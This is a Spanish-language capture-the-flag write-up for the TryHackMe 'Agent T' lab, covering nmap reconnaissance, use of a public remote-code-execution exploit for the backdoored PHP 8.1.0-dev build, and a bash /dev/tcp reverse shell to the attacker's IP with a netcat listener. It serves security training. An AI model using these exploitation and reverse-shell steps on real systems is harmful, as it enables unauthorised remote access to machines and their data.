Agent T


December 19, 20223 minutes

https://tryhackme.com/room/agentt

IP Atacante = 10.10.10.10

IP víctima = 10.10.175.238

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.175.238
PING 10.10.175.238 (10.10.175.238) 56(84) bytes of data.
64 bytes from 10.10.175.238: icmp_seq=1 ttl=63 time=47.7 ms

--- 10.10.175.238 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.680/47.680/47.680/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.175.238 -oG allPort
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.175.238
   5   │     [*] Open ports: 80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p80 -sC -sV 10.10.175.238 -oN target

PORT   STATE SERVICE VERSION
80/tcp open  http    PHP cli server 5.5 or later (PHP 8.1.0-dev)
|_http-title:  Admin Dashboard

Infiltración

Con searchsploit podemos comprobar si la version de php es vulnerable

❯ searchsploit PHP 8.1.0-dev

-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ---------------------------------
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution     | php/webapps/49933.py
-------------------------------------------------------- ---------------------------------

Hay un exploit de remote code execution, con searchsploit -m 49933 nos lo podemos pasar a nuestra máquina.

❯ python3 49933.py
Enter the full host url:
http://10.10.175.238

Interactive shell is opened on http://10.10.175.238 
Can't acces tty; job crontol turned off.
$ whoami
root

Ya tenemos una shell interactiva como root, pero no podemos salir del directorio /var/www/html, vamos a intentar crear una reverse shell.

Nos ponemos en escucha por el puerto 443

nc -nlvp 443

Intentamos mandarnos la reverse shell con bash -i >& /dev/tcp/10.10.10.10/443 0>&1, pero no recibimos nada, probamos con bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1" ahora si, ya podemos ver la flag que está en /flag.txt